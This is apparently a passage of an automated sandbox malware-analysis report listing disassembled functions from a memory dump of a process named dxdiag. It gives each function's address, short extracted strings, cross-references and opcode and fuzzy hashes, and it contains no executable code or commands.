Instruction Fuzzy Hash: F481F4716007128BC325CF29C4916A3F7B2FFA9754B1AC65EC4860F761E339AC82C798

Function 0040D44C Relevance: 3.9, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

$, xrefs: 0040D4B7
OK, xrefs: 0040D44C
P, xrefs: 0040D5A5

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: $$OK$P
API String ID: 0-279604475
Opcode ID: 15ca00153eb2250557c4211e580d213dc21f231b4513146c676bd93c0b65a243
Instruction ID: dcd2adf5ba7def60fdbdfda857df2c127c7e65c023c39cfee20c62017944ea30
Opcode Fuzzy Hash: 15ca00153eb2250557c4211e580d213dc21f231b4513146c676bd93c0b65a243
Instruction Fuzzy Hash: 7C514972E583904AD334CB39CC827EFB6D29BD6304F09C97DC48DA7345EA3819098746

Function 00420717 Relevance: 3.4, Strings: 2, Instructions: 854COMMON

Download Yara Rule

Strings

F>?0, xrefs: 00420D09
B:@<, xrefs: 00420D02

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: B:@<$F>?0
API String ID: 0-4011826714
Opcode ID: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction ID: 92ed06d7aa227fc4673e4b6d33fedd1ff2714f2f2b1d0eb8acbab6dee258af69
Opcode Fuzzy Hash: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction Fuzzy Hash: E43256B1A00721CBCB24CF24C892267BBB1FF92310F59825DD8825F796E779A851CBD5

Function 00404BA0 Relevance: 3.3, Strings: 2, Instructions: 815COMMON

Download Yara Rule

Strings

0, xrefs: 00405501
8, xrefs: 004054F9

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: f6efbbce20de2b023d6cb677cdd126fc4c2fcca28c45f4f5bbedd8c93d3440d6
Instruction ID: 0f615e6785466e28a5f93bf1c1a09b996c0b6f7065c9dd489095df40342ff1f6
Opcode Fuzzy Hash: f6efbbce20de2b023d6cb677cdd126fc4c2fcca28c45f4f5bbedd8c93d3440d6
Instruction Fuzzy Hash: AA7236716083409FD714CF18C880B9BBBE1AFD5314F48892EF9899B391D779D948CB96

Function 0043A3F0 Relevance: 3.2, Strings: 2, Instructions: 711COMMON

Download Yara Rule

Strings

f, xrefs: 0043A671
cba`, xrefs: 0043A429

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`$f
API String ID: 2994545307-1109690103
Opcode ID: ce77e257ab17708985b033a1a28936955ee8b7280a2f22a7d825b70f4c086311
Instruction ID: 41f0f5caafdb7b8250f40a2fa5a9f5d8922839f2072142bbb4c85c591d71526d
Opcode Fuzzy Hash: ce77e257ab17708985b033a1a28936955ee8b7280a2f22a7d825b70f4c086311
Instruction Fuzzy Hash: 9E2224716483419FD314CF28C880B2BBBE2ABD8304F29992EE4D687392D775D915CB97

Function 00414F08 Relevance: 3.1, Strings: 2, Instructions: 609COMMON

Download Yara Rule

Strings

=UA, xrefs: 0041551C, 00415537
cba`, xrefs: 00415565

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: =UA$cba`
API String ID: 0-2849403845
Opcode ID: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction ID: b0755fcd4efdf1967727a5f4be91126eb1e252dcdfc562f5600afc0ab194aa5f
Opcode Fuzzy Hash: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction Fuzzy Hash: 9402FE34608300EFD7149F24D962BABB7B1FB9A304F94582DF481972A2D775EC45CB8A

Function 00422270 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

c!", xrefs: 0042242F
TU, xrefs: 00422296

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: TU$c!"
API String ID: 0-3813282519
Opcode ID: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction ID: a4d5b8c078bf2433dc24120fb7555f1f32600d90c3be649242fb2c546733d6d2
Opcode Fuzzy Hash: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction Fuzzy Hash: 27C16672B04310ABD714DB29ED5277BB3E2EFD5314F48852EE88587381E6BCE801875A

Function 00422CF8 Relevance: 2.9, Strings: 2, Instructions: 399COMMON

Download Yara Rule

Strings

cba`, xrefs: 00423303, 00423273
cba`, xrefs: 00422FC8

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: cba`$cba`
API String ID: 0-1405727707
Opcode ID: 5c84bb8c798b0e41572f15b67f755068686cedca86a3ad616f5ad894ab6612f1
Instruction ID: cf914851eadaaefefd268cafab99a3ed5656e84c3113c822c7bea81855011779
Opcode Fuzzy Hash: 5c84bb8c798b0e41572f15b67f755068686cedca86a3ad616f5ad894ab6612f1
Instruction Fuzzy Hash: 2BD1F034609202DFD708DF25EC51A2AB3F6FB99706F19887CE58683291D738EE51CB49

Function 00427C9D Relevance: 2.9, Strings: 2, Instructions: 357COMMON

Download Yara Rule

Strings

cba`, xrefs: 00427D0F
<vB, xrefs: 00427D40, 0042808F

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: <vB$cba`
API String ID: 0-498934516
Opcode ID: d4f623a5fb0a0c8f92519baea591e51ccb09485aaf33c8d24cde6aecc2ef88d5
Instruction ID: da3196872b256321ec34466f7baf0807fde79cf67f05401d592e0b2ad76434be
Opcode Fuzzy Hash: d4f623a5fb0a0c8f92519baea591e51ccb09485aaf33c8d24cde6aecc2ef88d5
Instruction Fuzzy Hash: 29B107B5A087248FD718CF28E85172BB7E2ABC5304F4A857DD9968B392DB349C01DB85

Function 00404270 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

IEND, xrefs: 00404661
), xrefs: 004042EB

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: bc4bf555bbeff42da8388944a93aac8362fee21b005dad154d3f6f1e39364d8b
Instruction ID: 4afb57b326d3e49d9fc8e0a24ea4f70629e8547001b2e63d72ffbe4a7bfc289b
Opcode Fuzzy Hash: bc4bf555bbeff42da8388944a93aac8362fee21b005dad154d3f6f1e39364d8b
Instruction Fuzzy Hash: 42D1C2B1A08344AFD710CF14D84575FBBE4AB94308F14492EFA99AB3C1D779D908CB96

Function 00409070 Relevance: 2.8, Strings: 2, Instructions: 292COMMON

Download Yara Rule

Strings

(,"-, xrefs: 00409134
&$(-, xrefs: 0040913C

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: &$(-$(,"-
API String ID: 0-2940422652
Opcode ID: 842e3b4bad717ffb86fa21b0642b285fa84ec43394ca04797a762ceea37fb35b
Instruction ID: ae70fb115a879a18d64fb530bcee3728d6c7b0029ca7c8029ea195d6610fa6e3
Opcode Fuzzy Hash: 842e3b4bad717ffb86fa21b0642b285fa84ec43394ca04797a762ceea37fb35b
Instruction Fuzzy Hash: A571066110C3868ED7158F29949077BBFE19FE2304F1849BEE4D5AB383D739890AC766

Function 00423A00 Relevance: 2.8, Strings: 2, Instructions: 287COMMON

Download Yara Rule

Strings

"=B, xrefs: 00423D10
vw, xrefs: 00423A86

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: "=B$vw
API String ID: 0-457850316
Opcode ID: 051963b576788cf0d88f3c6bd725d199eeee0da8a148a68b8bbb1709fcb4336e
Instruction ID: f315680c62e70f20da2e1c8123195ba5c4b2be5aa43e99e7c1204dac969b8674
Opcode Fuzzy Hash: 051963b576788cf0d88f3c6bd725d199eeee0da8a148a68b8bbb1709fcb4336e
Instruction Fuzzy Hash: BA91327220C3548BD314CF68EC81B5BBBE1FBC5318F154A3DF9985B281D7B599058B86

Function 0041BA48 Relevance: 2.8, Strings: 2, Instructions: 254COMMON

Download Yara Rule

Strings

BzJ, xrefs: 0041BAD5
%, xrefs: 0041BB80

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: %$BzJ
API String ID: 0-1159491165
Opcode ID: d50dfa369b2cabffe8d628b0ac0056a4e2c295f14812191870c99ff4e33fffd4
Instruction ID: 15970c7872f0f24117a588b544366ad47cb00c5e8ff479cf6d2c6aa966492e42
Opcode Fuzzy Hash: d50dfa369b2cabffe8d628b0ac0056a4e2c295f14812191870c99ff4e33fffd4
Instruction Fuzzy Hash: 5551277450C3828BD7158B3994617B7BFE1DFA3305F68045DE0C287693DB2A854ACBAB

Function 0041D074 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

pr, xrefs: 0041D112
|~, xrefs: 0041D10A

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction ID: 1c71e515e24bd4364ede3925d09e369eeeaf8989eca5e2d791649c7508655d54
Opcode Fuzzy Hash: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction Fuzzy Hash: E451F0B0A0C3509BD7008F24D8127ABB7F1EF92319F1885AEE4C55B391E7399642CB5E

Function 0041D087 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

pr, xrefs: 0041D112
|~, xrefs: 0041D10A

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction ID: b30244ed6a2ff3de417c81c30de102dda9fa652a451c4e072b4a3ececf8c80cf
Opcode Fuzzy Hash: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction Fuzzy Hash: B751F4B460C3509BD7009F24C8126ABB7F1EF92315F1885ADE4C55B391E739D642CB5E

Function 004376B0 Relevance: 2.7, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

c!", xrefs: 004376B2
cba`, xrefs: 0043773A

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: c!"$cba`
API String ID: 0-3815079656
Opcode ID: 5399830b24d0c7c21206e2b52d5cb164668a13b1fa724a81154e92aaa802a904
Instruction ID: d439ba287dcba63c8f7a659613d28fe1dbaf1e7a7a1ec41ac89f2e19b51e5e51
Opcode Fuzzy Hash: 5399830b24d0c7c21206e2b52d5cb164668a13b1fa724a81154e92aaa802a904
Instruction Fuzzy Hash: AF51387464C300ABE324EF25EC81B2B77A6FBD9304F15582DE1C687241D778AC01DBAA

Function 0042536C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

X, xrefs: 0042556A
BLJB, xrefs: 00425554

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: BLJB$X
API String ID: 0-2222927247
Opcode ID: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction ID: 1af2eb929763e148cb4abff1c4585c52a2657f08fe5d59f4d12d45bf37d2de30
Opcode Fuzzy Hash: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction Fuzzy Hash: 13515531708B618BD730DE6894412FBBBE1DF55350F984A3ED8D987382E23CA545E74A

Function 00427653 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

H.s , xrefs: 004276E0
ij, xrefs: 004276D3

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: H.s $ij
API String ID: 0-4017226643
Opcode ID: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction ID: ae217f9daa6f4cce8b7d259f4259de876ba9e86de0ba8af5ed87a71d833a3b47
Opcode Fuzzy Hash: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction Fuzzy Hash: 0F31DEB260D3908FD314CF65D48165FBBE2EBC6704F55892DE4C56B340CBB49906CB46

Function 00415EE0 Relevance: 1.9, Strings: 1, Instructions: 625COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: 1/3T
API String ID: 2994545307-3266294232
Opcode ID: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction ID: ff65059a960126ae2aa6a0ba82ae0d71c7a8e5e6bd522a8814a62b27b48fd42c
Opcode Fuzzy Hash: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction Fuzzy Hash: 37F1E134204741CFE7258F29D891BB3BBA2FB5A301F1945ADD5D68B392C739E881CB58

Function 00437900 Relevance: 1.7, Strings: 1, Instructions: 497COMMON

Download Yara Rule

Strings

cba`, xrefs: 0043799B

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 3f29fd3a069bb16d361132c5aa8a0ede2e0d2aaea110744ff23cb538c4bc5ae4
Instruction ID: 14714d2ba1fa74e4959dcbafcfb1335b2d24fab57e9a1ae0764d95646eda8daf
Opcode Fuzzy Hash: 3f29fd3a069bb16d361132c5aa8a0ede2e0d2aaea110744ff23cb538c4bc5ae4
Instruction Fuzzy Hash: 47C177B590C3144BD330EF15D8C162BB7A2AF99314F0A962DE9C657352E738AC05CBDA

Function 00414A40 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

K%, xrefs: 00414CC8

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: K%
API String ID: 0-424693878
Opcode ID: 37b01ca38506eb230e9e43b73d8b4a05ed4a32d3362ed536e1d7410f5922aec2
Instruction ID: 7540c4282cdacfbe722bd69171a89485793de9a2a526d887569807fd05c65936
Opcode Fuzzy Hash: 37b01ca38506eb230e9e43b73d8b4a05ed4a32d3362ed536e1d7410f5922aec2
Instruction Fuzzy Hash: 9CC124B16083008BDB149F28DC927ABB3E1FF95314F094A2DE582C7391E7B8E945C399

Function 004266E7 Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

&tB, xrefs: 00426E9A

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: &tB
API String ID: 0-268467982
Opcode ID: ab8b9b4babc4c53dd273e945744bbaef1afa28ee0cdd2d4e334d85f9a15f2521
Instruction ID: 06a34f82c29db43340e48ad1cbe7e395302b1ddd3c50ea808075b5b9ec83bf05
Opcode Fuzzy Hash: ab8b9b4babc4c53dd273e945744bbaef1afa28ee0cdd2d4e334d85f9a15f2521
Instruction Fuzzy Hash: C5E169B5A083618FC7109F14E45136BB7E1AFDA304F0A486EE8C597342D639ED45CB9B

Function 0042297F Relevance: 1.7, Strings: 1, Instructions: 408COMMON

Download Yara Rule

Strings

cba`, xrefs: 004229EB

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: c94db94e7765f3a71b808c63476c00684dbe44ed22f50a4180e2a827f6d9ca56
Instruction ID: 193fac06bddc95f6f71a2cfced3675609a912480cc88b1c4448270c4c5f8e929
Opcode Fuzzy Hash: c94db94e7765f3a71b808c63476c00684dbe44ed22f50a4180e2a827f6d9ca56
Instruction Fuzzy Hash: BEC146756083209FC314CF29E89162BBBE2FFCA711F59866DE8924B391C7799D01CB85

Function 0042A630 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0042A918

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction ID: f813c1fc85afd7223dda0e36a8c027de47e21e6ca96e88e37e758e8b14c45e64
Opcode Fuzzy Hash: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction Fuzzy Hash: 03C113B2B043215BD7149E25E44076BB7E5AF84310F59892FEC9687382E738DC59C78B

Function 00417190 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

RuA, xrefs: 00417542

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: RuA
API String ID: 0-3286949753
Opcode ID: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction ID: 812d55878a62f6fab66defe66c88ae53172d99736bf38563795d352ae53827f1
Opcode Fuzzy Hash: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction Fuzzy Hash: 8CB10234208701CFE7258F29D851B73B7F2EB4A711F1489ADD4968B392D738A882CB58

Function 00426EBE Relevance: 1.6, Strings: 1, Instructions: 350COMMON

Download Yara Rule

Strings

oB, xrefs: 00426F26

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: oB
API String ID: 0-2659631944
Opcode ID: 0693cc6c46902c7217c4adacdc2c5168b01ac46d7e5509cb09b59ea090d7e90c
Instruction ID: 9f556a8ac2aeb4471154cd87b74293f5bbb160a2dea8f59859fea2c9b9bc59b4
Opcode Fuzzy Hash: 0693cc6c46902c7217c4adacdc2c5168b01ac46d7e5509cb09b59ea090d7e90c
Instruction Fuzzy Hash: 54C11431A08391CFD314CF38A89076ABBA2AF8A314F5947ADF4A55B3E1D3359D04CB59

Function 00421EE0 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

x%, xrefs: 0042207D

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: x%
API String ID: 0-3980080454
Opcode ID: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction ID: 53925fe815e81de9676dfe4c3668865c11de61aed011eb2c10e86570e61a59d5
Opcode Fuzzy Hash: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction Fuzzy Hash: 7BA145B1604320ABCB10DF24DC91B6777E4FF94358F08492DEA858B391E7B9E905C766

Function 00434C4D Relevance: 1.6, Strings: 1, Instructions: 311COMMON

Download Yara Rule

Strings

cba`, xrefs: 00434F8D

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 6e56f68504aedb9c4637ddc64e974fdb85d88a5ec5eac0ceed752bd9f5295936
Instruction ID: 94ad105f6478fdac957072c6e69bbed76807f6ec97b14cb59ee989f6f6ee26f8
Opcode Fuzzy Hash: 6e56f68504aedb9c4637ddc64e974fdb85d88a5ec5eac0ceed752bd9f5295936
Instruction Fuzzy Hash: 7FE1E421508BD18ED336CA3C8804357BFE15B6B314F09CB9DC4EA5B7D2C669A905C7A6

Function 0041CB5A Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

^@, xrefs: 0041CCDE

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ^@
API String ID: 0-1015691136
Opcode ID: 703dd625fb3eb8638aa44194967a27a36d87c0cb45f6d60d58a93a7552ea481a
Instruction ID: 235d2d97adcff596e282d77143eaa9e06c0732ed9a934443ad0122243597bde8
Opcode Fuzzy Hash: 703dd625fb3eb8638aa44194967a27a36d87c0cb45f6d60d58a93a7552ea481a
Instruction Fuzzy Hash: AE71CCB66883108BC324CF59C89226BF7F2FFD5714F09981DE8D99B350E3788901879A

Function 004301D0 Relevance: 1.5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

Strings

0, xrefs: 00430251

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 0a169f153f05d81556b97ec1d982402f44b1193e7a5d9548232ad9bc2a2d11b7
Instruction ID: b52eb51231fc900eaadc8c81f457622f3f0b6f51af79dcbe8e0f809c0597da3a
Opcode Fuzzy Hash: 0a169f153f05d81556b97ec1d982402f44b1193e7a5d9548232ad9bc2a2d11b7
Instruction Fuzzy Hash: 98912733658A9007C72C5D7C4C752AABA934BDA230F2E937EA9B2CB3E1D52988065355

Function 0041D420 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

~, xrefs: 0041D4EB

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: 72c13701696192dfc20109577999103ecfce46bb15957d77df2543678485ee00
Instruction ID: fedad1c06f0065ecafef613c73bdfc631541caa38951d67b42794b4cc961db47
Opcode Fuzzy Hash: 72c13701696192dfc20109577999103ecfce46bb15957d77df2543678485ee00
Instruction Fuzzy Hash: 218139B29042615FC7258E28C84179BBBD1AB85324F19C23EECB99B392D6389C46D7D1

Function 00405E60 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 00405F96

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 7fae2f255a8fd2d56763f8beb58fcdc8fb186e5576eac22f9c3d66becbf538f0
Instruction ID: a3ef299c5e7e977cc5b7504a12919924ad54ea5109b9e3e5b2e920edd53b1c89
Opcode Fuzzy Hash: 7fae2f255a8fd2d56763f8beb58fcdc8fb186e5576eac22f9c3d66becbf538f0
Instruction Fuzzy Hash: 34B138711097819FD325CF18C88061BFBE0AFA9704F444A2EF5D997782D635EA18CBA7

Function 0043A030 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

cba`, xrefs: 0043A1DF

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`
API String ID: 2994545307-1926275841
Opcode ID: 4dd138133c70bccffe0cc9a23b0a33065d47b40352575896815e93fde00f8469
Instruction ID: 41ff4bfae8fb92d3e53a90846de56666ce7534d916a86ba38ef6454eea79fcdf
Opcode Fuzzy Hash: 4dd138133c70bccffe0cc9a23b0a33065d47b40352575896815e93fde00f8469
Instruction Fuzzy Hash: 3A717435A483009FDB189F28C890B3BB7A2EB99314F19557ED4D3877A1D6359C10CB8B

Function 0042A100 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

", xrefs: 0042A346

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 1bde58d3ad00dbcf7b211c85afe0c87ae7ec8536041c5ee7d742fbdcfbaf8b1e
Instruction ID: d68b1a9088298affc1ec5bd7052a8a4f753d8ac7f88c6c36173fe7236f557df2
Opcode Fuzzy Hash: 1bde58d3ad00dbcf7b211c85afe0c87ae7ec8536041c5ee7d742fbdcfbaf8b1e
Instruction Fuzzy Hash: A271E7327087254BD724D96DAC8022BB6C35BC6330F59876AECB48B3E5D6788C25478B

Function 0042AAD0 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042ACCE

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
